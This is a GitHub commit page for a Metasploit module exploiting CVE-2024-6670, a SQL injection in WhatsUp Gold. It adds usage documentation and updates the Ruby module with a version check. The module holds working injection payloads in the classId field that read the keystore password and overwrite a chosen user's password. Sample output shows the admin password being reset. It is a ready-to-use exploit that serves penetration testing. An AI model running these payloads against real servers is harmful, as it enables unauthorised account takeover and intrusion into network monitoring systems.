Skip to content

Commit 64f595c

Browse files
committed
cleanup, version check, documentation
cleanup, version check, documentation
1 parent 686da13 commit 64f595c

File tree

2 files changed

+91
-14
lines changed

2 files changed

+91
-14
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Vulnerable Application
2+
3+
This module exploits a SQL injection vulnerability in WhatsUp Gold < v24.0.0 (CVE-2024-6670), by changing the password of an existing user
4+
(such as of the default `admin` account) to an attacker-controlled one.
5+
6+
## Testing
7+
8+
The software can be obtained from
9+
[the vendor](https://cdn.ipswitch.com/nm/WhatsUpGold/23.1.3/WhatsUpGold-23.1.3-FullInstall.exe).
10+
11+
Installation instructions are available [here](https://docs.progress.com/bundle/whatsupgold-install-23-1/page/Prior-to-installation.html).
12+
13+
**Successfully tested on**
14+
15+
- WhatsUp Gold v23.1.3 on Windows 22H2
16+
- WhatsUp Gold v23.1.2 on Windows 22H2
17+
18+
## Verification Steps
19+
20+
1. Install and run the application
21+
2. Start `msfconsole` and run the following commands:
22+
23+
```
24+
msf6 > use auxiliary/admin/http/whatsup_gold_sqli
25+
msf6 auxiliary(admin/http/whatsup_gold_sqli) > set RHOSTS <IP>
26+
msf6 auxiliary(admin/http/whatsup_gold_sqli) > run
27+
```
28+
29+
This should update the password of the default `admin` account.
30+
31+
## Options
32+
33+
### USERNAME
34+
The user of which to update the password (default: admin)
35+
36+
### PASSWORD
37+
The new password for the user
38+
39+
## Scenarios
40+
41+
Running the exploit against WhatsUp Gold v23.1.3 on Windows 22H2 should result in an output similar to the following:
42+
43+
```
44+
msf6 auxiliary(admin/http/whatsup_gold_sqli) > run
45+
[*] Running module against 192.168.217.143
46+
47+
[*] Running automatic check ("set AutoCheck false" to disable)
48+
[+] The target appears to be vulnerable. Version: 23.1.3
49+
[+] New password for admin was successfully set:
50+
admin:SzESLHhWxKyf
51+
[+] Login at: https://192.168.217.143/NmConsole/#home
52+
[*] Auxiliary module execution completed
53+
```

modules/auxiliary/admin/http/whatsup_gold_sqli.rb

Lines changed: 38 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,18 @@
11
class MetasploitModule < Msf::Auxiliary
22
include Msf::Exploit::Remote::HttpClient
3-
# prepend Msf::Exploit::Remote::AutoCheck
3+
prepend Msf::Exploit::Remote::AutoCheck
4+
CheckCode = Exploit::CheckCode
45

56
def initialize(info = {})
67
super(
78
update_info(
89
info,
910
'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)',
1011
'Description' => %q{
11-
This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of the admin user
12+
This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of an existing user (such as of the default admin account)
1213
to an attacker-controlled one.
1314
14-
WhatsUp Gold < v24.0 are affected.
15+
WhatsUp Gold versions < v24.0.0 are affected.
1516
},
1617
'Author' => [
1718
'Michael Heinzl', # MSF Module
@@ -44,6 +45,28 @@ def initialize(info = {})
4445
])
4546
end
4647

48+
def check
49+
res = send_request_cgi({
50+
'method' => 'GET',
51+
'uri' => normalize_uri(target_uri.path, 'NmConsole/app.json')
52+
})
53+
54+
return CheckCode::Unknown unless res && res.code == 200
55+
56+
data = res.body
57+
version = data.match(/"path":"app-(.*?)\.js"/)[1]
58+
59+
if version.nil?
60+
return CheckCode::Unknown
61+
else
62+
vprint_status('Version retrieved: ' + version)
63+
end
64+
65+
return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('23.1.3')
66+
67+
Exploit::CheckCode::Safe
68+
end
69+
4770
def run
4871
body = {
4972
KeyStorePassword: datastore['NEW_PASSWORD'],
@@ -71,11 +94,11 @@ def run
7194
body = {
7295
deviceId: deviceid.to_s,
7396
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--",
74-
range: '1',
75-
n: '1',
76-
start: '3',
77-
end: '4',
78-
businesdsHoursId: '5'
97+
range: rand(1..9).to_s,
98+
n: rand(1..9).to_s,
99+
start: rand(1..9).to_s,
100+
end: rand(1..9).to_s,
101+
businesdsHoursId: rand(1..9).to_s
79102
}.to_json
80103

81104
res = send_request_cgi(
@@ -119,15 +142,16 @@ def run
119142
byte_v = display_name_f.split(',')
120143
hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') }
121144
enc_pass = '0x' + hex_v.join
145+
vprint_status('Encrypted password: ' + enc_pass)
122146

123147
body = {
124148
deviceId: deviceid.to_s,
125149
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--",
126-
range: '1',
127-
n: '1',
128-
start: '3',
129-
end: '4',
130-
businesdsHoursId: '5'
150+
range: rand(1..9).to_s,
151+
n: rand(1..9).to_s,
152+
start: rand(1..9).to_s,
153+
end: rand(1..9).to_s,
154+
businesdsHoursId: rand(1..9).to_s
131155
}.to_json
132156

133157
res = send_request_cgi(
@@ -163,7 +187,7 @@ def run
163187
end
164188

165189
store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
166-
print_good("New #{datastore['USERNAME']} password was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}")
190+
print_good("New password for #{datastore['USERNAME']} was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}")
167191
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}")
168192
end
169193
end

0 commit comments

Comments
 (0)